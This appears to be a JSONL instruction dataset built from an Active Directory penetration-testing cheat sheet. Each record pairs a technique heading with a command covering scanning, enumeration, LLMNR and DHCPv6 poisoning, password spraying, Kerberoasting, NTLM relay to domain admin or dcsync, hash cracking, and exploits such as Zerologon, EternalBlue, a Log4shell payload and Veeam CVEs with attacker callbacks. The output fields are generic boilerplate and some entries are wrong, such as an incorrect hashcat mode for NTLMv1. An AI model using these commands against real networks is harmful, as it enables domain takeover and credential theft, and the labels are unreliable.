{"instruction": "Scan Network", "input": "nxc smb <ip_range>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Scan Network", "input": "nmap -sU -sC -sV -oA <output> <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Scan Network", "input": "nmap -Pn -sC -sV -p- -oA <output> <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Scan Network", "input": "nmap -Pn -sC -sV -oA <output> <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Scan Network", "input": "nmap -Pn --script smb-vuln* -p139,445 <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Scan Network", "input": "nmap -Pn -sV --top-ports 50 --open <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Scan Network", "input": "nmap -sP -p <ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Find DC IP", "input": "nmap -p 88 --open <ip_range>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Find DC IP", "input": "nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>", "output": "Tool or command referenced under 'Find DC IP'."}
{"instruction": "Find DC IP", "input": "nmcli dev show <interface>", "output": "Note or procedural step under 'Find DC IP'."}
{"instruction": "Zone Transfer", "input": "dig axfr <domain_name> @<name_server>", "output": "Tool or command referenced under 'Zone Transfer'."}
{"instruction": "Anonymous & Guest access on SMB shares", "input": "smbclient -U '%' -L //<ip>", "output": "SMB client usage to list or access network shares."}
{"instruction": "Anonymous & Guest access on SMB shares", "input": "enum4linux-ng.py -a -u '' -p '' <ip>", "output": "Note or procedural step under 'Anonymous & Guest access on SMB shares'."}
{"instruction": "Anonymous & Guest access on SMB shares", "input": "nxc smb <ip_range> -u 'a' -p ''", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Anonymous & Guest access on SMB shares", "input": "nxc smb <ip_range> -u '' -p '", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Enumerate LDAP:", "input": "ldapsearch -x -H <dc_ip> -s base", "output": "Tool or command referenced under 'Enumerate LDAP:'."}
{"instruction": "Enumerate LDAP:", "input": "nmap -n -sV --script 'ldap*' and not brute -p 389 <dc_ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Enumerate Users:", "input": "nxc smb <dc_ip> --rid-brute 10000 # bruteforcing RID", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Enumerate Users:", "input": "nxc smb <dc_ip> --users", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Enumerate Users:", "input": "net rpc group members 'Domain Users' -W '<domain> -l <ip> -U '%'", "output": "Note or procedural step under 'Enumerate Users:'."}
{"instruction": "Bruteforce users:", "input": "kerbrute userenum -d <domain> <userlist>", "output": "Tool or command referenced under 'Bruteforce users:'."}
{"instruction": "Bruteforce users:", "input": "nmap -p 88 --script=krb5-enum-users --script-args=\"krb5-enum-users.realm='<domain>',userdb=<user_list_file>\" <dc_ip>", "output": "Network/service scan or enumeration command (Nmap) with specified options."}
{"instruction": "Poisoning:", "input": "LLMNR / NBTNS / MDNS", "output": "Note or procedural step under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "responder -l <interface>", "output": "Tool or command referenced under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "DHCPv6 (IPv6 prefered to IPv4)", "output": "Note or procedural step under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "mitm6 -d <domain>", "output": "Tool or command referenced under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "bettercap", "output": "Tool or command referenced under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "ARP Poisoning", "output": "Note or procedural step under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "bettercap", "output": "Tool or command referenced under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "asreqroast", "output": "Note or procedural step under 'Poisoning:'."}
{"instruction": "Poisoning:", "input": "Pcredz -i <interface> -v", "output": "Note or procedural step under 'Poisoning:'."}
{"instruction": "Unauthenticated PetitPotam (CVE-2022-26925)", "input": "petitpotam.py -d <domain> <listener> <target>", "output": "Note or procedural step under 'Unauthenticated PetitPotam (CVE-2022-26925)'."}
{"instruction": "no password", "input": "pxethief.py 1", "output": "Note or procedural step under 'no password'."}
{"instruction": "no password", "input": "pxethief.py 2 <distribution_point_ip>", "output": "Note or procedural step under 'no password'."}
{"instruction": "password protected", "input": "tftp -i <dp_ip> GET \"\\xxx\\boot.var\"", "output": "Note or procedural step under 'password protected'."}
{"instruction": "password protected", "input": "pxethief.py 5 '\\xxx\\boot.var'", "output": "Note or procedural step under 'password protected'."}
{"instruction": "password protected > TimeRoasting", "input": "timeroast.py <dc_ip> -o <output_log>", "output": "Note or procedural step under 'password protected > TimeRoasting'."}
{"instruction": "Quick Compromise: > Zerologon (unsafe) CVE-2020-1472", "input": "zerologon-scan '<dc_netbios_name>' '<ip>'", "output": "Note or procedural step under 'Quick Compromise: > Zerologon (unsafe) CVE-2020-1472'."}
{"instruction": "Quick Compromise: > Zerologon (unsafe) CVE-2020-1472", "input": "cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>", "output": "Note or procedural step under 'Quick Compromise: > Zerologon (unsafe) CVE-2020-1472'."}
{"instruction": "Eternal Blue MS17-010:", "input": "msf> exploit/windows/smb/ms17_010_eternalblue # SMBv1 only", "output": "Tool or command referenced under 'Eternal Blue MS17-010:'."}
{"instruction": "Eternal Blue MS17-010: > Tomcat/Jboss Manager", "input": "msf> auxiliary/scanner/http/tomcat_enum", "output": "Tool or command referenced under 'Eternal Blue MS17-010: > Tomcat/Jboss Manager'."}
{"instruction": "Eternal Blue MS17-010: > Tomcat/Jboss Manager", "input": "msf> exploit/multi/http/tomcat_mgr_deploy", "output": "Tool or command referenced under 'Eternal Blue MS17-010: > Tomcat/Jboss Manager'."}
{"instruction": "Java RMI:", "input": "msf> use exploit/multi/misc/java_rmi_server", "output": "Tool or command referenced under 'Java RMI:'."}
{"instruction": "Java Serialiszed port:", "input": "ysoserial.jar <gadget> '<cmd>' |nc <ip> <port>", "output": "Note or procedural step under 'Java Serialiszed port:'."}
{"instruction": "Log4shell:", "input": "${jndi:ldap://<ip>:<port>/o=reference}", "output": "Note or procedural step under 'Log4shell:'."}
{"instruction": "Database:", "input": "msf> use auxiliary/admin/mssql/mssql_enum_sql_logins", "output": "Tool or command referenced under 'Database:'."}
{"instruction": "Exchange:", "input": "Proxyshell", "output": "Note or procedural step under 'Exchange:'."}
{"instruction": "Exchange:", "input": "proxyshell_rce.py -u https://<exchange> -e administrator@<domain>", "output": "Note or procedural step under 'Exchange:'."}
{"instruction": "Veeam:", "input": "CVE-2023-27532 (creds Veeam backup)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "VeeamHax.exe --target <veeam_server>", "output": "Note or procedural step under 'Veeam:'."}
{"instruction": "Veeam:", "input": "CVE-2023-27532 net.tcp:/<target>:<port>/", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-29849 (auth bypass - Veeam Backup Enterprise Manager)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-29849.py --target https://<veeam_ip>:<veeam_port>/ --callback-server <attacker_ip>:<port>", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-29855 (auth bypass - Veeam Recovery Orchestrator)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-29855.py  --start_time <start_time_epoch> --end_time <end_time_epoch> --username <user>@<domain> --target https://<veeam_ip>:<veeam_port>/", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-40711 (unserialize - Veeam backup)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Veeam:", "input": "CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://<attacker_ip>:8000/trigger --targetveeam <veeam_ip>", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "GLPI:", "input": "CVE-2022-35914", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "GLPI:", "input": "/vendor/htmlawed/htmlawed/htmLawedTest.php", "output": "Note or procedural step under 'GLPI:'."}
{"instruction": "GLPI:", "input": "CVE_2023_41320", "output": "Note or procedural step under 'GLPI:'."}
{"instruction": "GLPI:", "input": "cve_2023_41320.py -u <user> -p <password> -t <ip>", "output": "Note or procedural step under 'GLPI:'."}
{"instruction": "GLPI: > Weak websites / services", "input": "nuclei", "output": "Note or procedural step under 'GLPI: > Weak websites / services'."}
{"instruction": "GLPI: > Weak websites / services", "input": "nuclei -target <ip_range>", "output": "Note or procedural step under 'GLPI: > Weak websites / services'."}
{"instruction": "GLPI: > Weak websites / services", "input": "nessus", "output": "Note or procedural step under 'GLPI: > Weak websites / services'."}
{"instruction": "Password Spray", "input": "Get password policy  (you need creds,but you should get the policy  first to avoid locking accounts)", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "default policy", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "nxc smb <dc_ip> -u '<user>' -p '<password>' -pass-pol", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Password Spray", "input": "Get-ADDefaultDomainPasswordPolicy", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> domain_policy", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "Fined Policy (Privileged)", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "ldapsearch-ad.py --server <dc> -d <domain> -u <user> -p <pass> --type pass-pol", "output": "Tool or command referenced under 'Password Spray'."}
{"instruction": "Password Spray", "input": "Get-ADFineGainedPasswordPolicy -filter *", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> pso # can also be runned with a low priv account but less information will be available", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "user == password", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "nxc smb <dc_ip> -u <users.txt> -p <passwords.txt> --no-bruteforce --continue-on-success", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Password Spray", "input": "sprayhound -U <users.txt> -d <domain> -dc  <dc_ip>   # add --lower to lowercase and --upper to uppercase. Add nothing to get only user=pass", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "usuals passwords  (SeasonYear!, Company123, ...)", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "nxc smb <dc_ip> -u <users.txt> -p <password> --continue-on-success", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Password Spray", "input": "sprayhound -U <users.txt> -p <password> -d <domain> -dc  <dc_ip>", "output": "Note or procedural step under 'Password Spray'."}
{"instruction": "Password Spray", "input": "kerbrute passwordspray -d <domain> <users.txt> <password>", "output": "Tool or command referenced under 'Password Spray'."}
{"instruction": "ASREPRoast", "input": "List ASREPRoastable Users (need creds)", "output": "Note or procedural step under 'ASREPRoast'."}
{"instruction": "ASREPRoast", "input": "Bloodhound: MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true RETURN u", "output": "Note or procedural step under 'ASREPRoast'."}
{"instruction": "ASREPRoast", "input": "nxc ldap <dc_ip> -u <users.txt>  -p '' --asreproast <output.txt>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "ASREPRoast", "input": "ASREP roasting", "output": "Note or procedural step under 'ASREPRoast'."}
{"instruction": "ASREPRoast", "input": "GetNPUsers.py <domain>/ -usersfile <users.txt> -format hashcat -outputfile <output.txt>", "output": "Tool or command referenced under 'ASREPRoast'."}
{"instruction": "ASREPRoast", "input": "nxc ldap <dc_ip> -u <users.txt>  -p '' --asreproast <output.txt>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "ASREPRoast", "input": "Rubeus.exe asreproast /format:hashcat", "output": "Tool or command referenced under 'ASREPRoast'."}
{"instruction": "ASREPRoast > Blind Kerberoasting", "input": "Rubeus.exe keberoast /domain:<domain> /dc:<dcip> /nopreauth: <asrep_user> /spns:<users.txt>", "output": "Tool or command referenced under 'ASREPRoast > Blind Kerberoasting'."}
{"instruction": "ASREPRoast > Blind Kerberoasting", "input": "GetUserSPNs.py -no-preauth \"<asrep_user>\" -usersfile \"<user_list.txt>\" -dc-host \"<dc_ip>\" \"<domain>\"/", "output": "Tool or command referenced under 'ASREPRoast > Blind Kerberoasting'."}
{"instruction": "ASREPRoast > Blind Kerberoasting", "input": "CVE-2022-33679", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "ASREPRoast > Blind Kerberoasting", "input": "CVE-2022-33679.py <domain>/<user> <target>", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Listen", "input": "Respinder -l <interface> #use --lm to force downgrade", "output": "Note or procedural step under 'Listen'."}
{"instruction": "Listen", "input": "smbclient.py", "output": "SMB client usage to list or access network shares."}
{"instruction": "NTLM relay", "input": "MS-08-068 self relay", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "msf>exploit/windows/smb_smb_relay #windows 2000 / windows 2008 server", "output": "Tool or command referenced under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "smb -> LDAP(S)", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "NTLMv1", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "remove mic (no CVE needed)", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "NTLMv2", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "remove mic (CVE-2019-10140)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "NTLM relay", "input": "HTTP(S) -> LDAP(S)", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay", "input": "Usually from webdev coerce", "output": "Note or procedural step under 'NTLM relay'."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "Relay to  LDAP if LDAP signing and LDAPS channel binding not enfoeced (default)", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --add-computer <computer_name> <computer_password> --delegate-access #RBCD", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --shadow-credentials --shadow-target '<dc_name$>' #Shadow Credentials", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --escalate-user <user> #Domain Admin", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "NTLM relay > To LDAP(S)", "input": "ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111 #LDAP SHELL", "output": "Note or procedural step under 'NTLM relay > To LDAP(S)'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB", "input": "Relay to SMB (if SMB is not signed)", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB", "input": "Find SMB not signed targets (default if not a Domain controler)", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB", "input": "nxc smb <ip_range> --gen-relay-list smb_unsigned_ips.txt", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB", "input": "ntlmrelayx.py -tf smb_unsigned_ips.txt -smb2support [--ipv6] -socks #SMB Socks", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP", "input": "Relay to CA web enrollement", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP", "input": "Relay to WSUS", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL", "input": "ntlmrelayx.py -t mssql://<ip> [-smb2support] -socks", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON", "input": "Zero-Logon (safe method) (CVE-202-1472)", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON", "input": "Relay one dc to another", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON", "input": "ntlmrelayx.py -t dcsync://<dc_to_ip> -smb2support -auth-smb <user>:<password>", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON", "input": "To HTTP", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON", "input": "krbrelayx.py -t 'http://<pki>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<target_netbios>$' -ip <attacker_ip>", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON > SMB -> SMB", "input": "same as NTLM relay, use krbrelayx.py", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON > SMB -> SMB'."}
{"instruction": "NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON > SMB -> SMB > SMB -> LDAP(S)", "input": "same as NTLM relay, use krbrelayx.py", "output": "Note or procedural step under 'NTLM relay > To LDAP(S) > To SMB > TO HTTP > To MsSQL > SMB -> NETLOGON > SMB -> SMB > SMB -> LDAP(S)'."}
{"instruction": "LM (299bd128c1101fd6)", "input": "john --format=lm hash.txt --wordlist=<rockyou.txt>", "output": "Tool or command referenced under 'LM (299bd128c1101fd6)'."}
{"instruction": "LM (299bd128c1101fd6)", "input": "hashcat -m 3000 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'LM (299bd128c1101fd6)'."}
{"instruction": "NT (b4b9b02e6f09a9bd760...)", "input": "john --format=nt hash.txt --wordlist=<rockyou.txt>", "output": "Tool or command referenced under 'NT (b4b9b02e6f09a9bd760...)'."}
{"instruction": "NT (b4b9b02e6f09a9bd760...)", "input": "hashcat -m 1000 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'NT (b4b9b02e6f09a9bd760...)'."}
{"instruction": "NTLMv1 (user::85D5BC...)", "input": "john --format=netntlm hash.txt --wordlist=<rockyou.txt>", "output": "Tool or command referenced under 'NTLMv1 (user::85D5BC...)'."}
{"instruction": "NTLMv1 (user::85D5BC...)", "input": "hashcat -m 1000 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'NTLMv1 (user::85D5BC...)'."}
{"instruction": "NTLMv1 (user::85D5BC...)", "input": "crack.sh", "output": "Note or procedural step under 'NTLMv1 (user::85D5BC...)'."}
{"instruction": "NTLMv2 (user::N46iSNek...)", "input": "john --format=netntlmv2 hash.txt --wordlist=<rockyou.txt>", "output": "Tool or command referenced under 'NTLMv2 (user::N46iSNek...)'."}
{"instruction": "NTLMv2 (user::N46iSNek...)", "input": "hashcat -m 5600 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'NTLMv2 (user::N46iSNek...)'."}
{"instruction": "Kerberos 5 TGS ($krb5tgs$23$...)", "input": "john --format=krb5tgs hash.txt --wordlist=<rockyou.txt>", "output": "Tool or command referenced under 'Kerberos 5 TGS ($krb5tgs$23$...)'."}
{"instruction": "Kerberos 5 TGS ($krb5tgs$23$...)", "input": "hashcat -m 13100 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'Kerberos 5 TGS ($krb5tgs$23$...)'."}
{"instruction": "($krb5tgs$17...)", "input": "hashcat -m 19600 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under '($krb5tgs$17...)'."}
{"instruction": "Kerberos ASREP ($krb5asrep$23...)", "input": "hashcat -m 18200 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'Kerberos ASREP ($krb5asrep$23...)'."}
{"instruction": "($DCC2$10240...)", "input": "hashcat -m 2100 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under '($DCC2$10240...)'."}
{"instruction": "($DCC2$10240...)", "input": "Timeroast hash ($sntp-ms$...)", "output": "Note or procedural step under '($DCC2$10240...)'."}
{"instruction": "($DCC2$10240...)", "input": "hashcat -m 31300 -a 3 hash.txt -w 3 ?l?l?l?l?l?l?l", "output": "Tool or command referenced under '($DCC2$10240...)'."}
{"instruction": "pxe hash ($sccm$aes128$...)", "input": "hashcat -m 19850 -a 0 hash.txt <rockyou.txt>", "output": "Tool or command referenced under 'pxe hash ($sccm$aes128$...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Find all users", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "nxc smb <dc_ip> -u '<user>' -p '<password>' --users", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Enumerate SMB share", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "nxc smb <ip_range> -u '<user>' -p '<password>' -M spider_plus", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "xc smb <ip_range> -u '<user>' -p '<password>' --shares [--get-file \\\\<filename> <filename>]", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "manspider <ip_range> -c passw -e <file extensions> -d <domain> -u <user> -p <password>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Bloodhound Legacy", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "rusthound -d <domain_to_enum> -u '<user>@<domain>' -p '<password>' -o <outfile.zip> -z", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "import-module sharphound.ps1;invoke-bloodhound -collectionmethod all -domain <domain>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "sharphound.exe -c all -d <domain>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Bloodhound CE", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "rusthound-ce -d <domain_to_enum> -u '<user>@<domain>' -p '<password>' -o <outfile.zip> -z --ldap-filter=(objectGuid=*)", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "sharphound.exe -c all -d <domain>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "SOAPHound.exe -c c:\\temp\\cache.txt --bhdump -o c:\\temp\\bloodhound-output --autosplit --threshold 900", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Enumerate Ldap", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "ldeep ldap -u <users> -p '<password>' -d <domain> -s ldap://<dc_ip> all <backup_folder>", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "ldapdomaindump.py -u <user> -p <password> -o <dump_folder> ldap://<dc_ip>:389", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "ldapsearch-ad.py -l <dc_ip> -d <domain> -u <user> -p '<password>' -o <output.log> -t all", "output": "Tool or command referenced under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "Enumerate DNS", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Classic Enumeration (users, shares, ACL, delegation, ...)", "input": "adidnsdump -u <domain>\\\\<user> -p \"<password>\" --print-zones <dc_ip> #New targets (low hanging fruit)", "output": "Note or procedural step under 'Classic Enumeration (users, shares, ACL, delegation, ...)'."}
{"instruction": "Enumerate ADCS", "input": "certify.exe find", "output": "Note or procedural step under 'Enumerate ADCS'."}
{"instruction": "Enumerate ADCS", "input": "certipy find -u <user>@<domain> -p '<password>' -dc-ip <dc_ip>", "output": "Note or procedural step under 'Enumerate ADCS'."}
{"instruction": "Enumerate SCCM", "input": "sccmhunter.py find -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug", "output": "Note or procedural step under 'Enumerate SCCM'."}
{"instruction": "Enumerate SCCM", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> sccm", "output": "Note or procedural step under 'Enumerate SCCM'."}
{"instruction": "Enumerate SCCM", "input": "SharpSCCM.exe local site-info", "output": "Note or procedural step under 'Enumerate SCCM'."}
{"instruction": "Scan Auto", "input": "from BH result", "output": "Note or procedural step under 'Scan Auto'."}
{"instruction": "Scan Auto", "input": "AD-miner -c -cf Report -u <neo4j_username> -p <neo4j_password>", "output": "Note or procedural step under 'Scan Auto'."}
{"instruction": "Scan Auto", "input": "PingCastle.exe --healthcheck --server <domain>", "output": "Note or procedural step under 'Scan Auto'."}
{"instruction": "Scan Auto", "input": "Import-Module .\\adPEAS.ps1; Invoke-adPEAS -Domain '<domain>' -Server '<dc_fqdn>'", "output": "Note or procedural step under 'Scan Auto'."}
{"instruction": "Kerberoasting", "input": "MATCH (u:User) WHERE u.hasspn=true AND u.enabled = true AND NOT u.objectid ENDS WITH '-502' AND NOT COALESCE(u.gmsa, false) = true AND NOT COALESCE(u.msa, false) = true RETURN u", "output": "Note or procedural step under 'Kerberoasting'."}
{"instruction": "Kerberoasting", "input": "GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>", "output": "Tool or command referenced under 'Kerberoasting'."}
{"instruction": "Kerberoasting", "input": "Rubeus.exe kerberoast", "output": "Tool or command referenced under 'Kerberoasting'."}
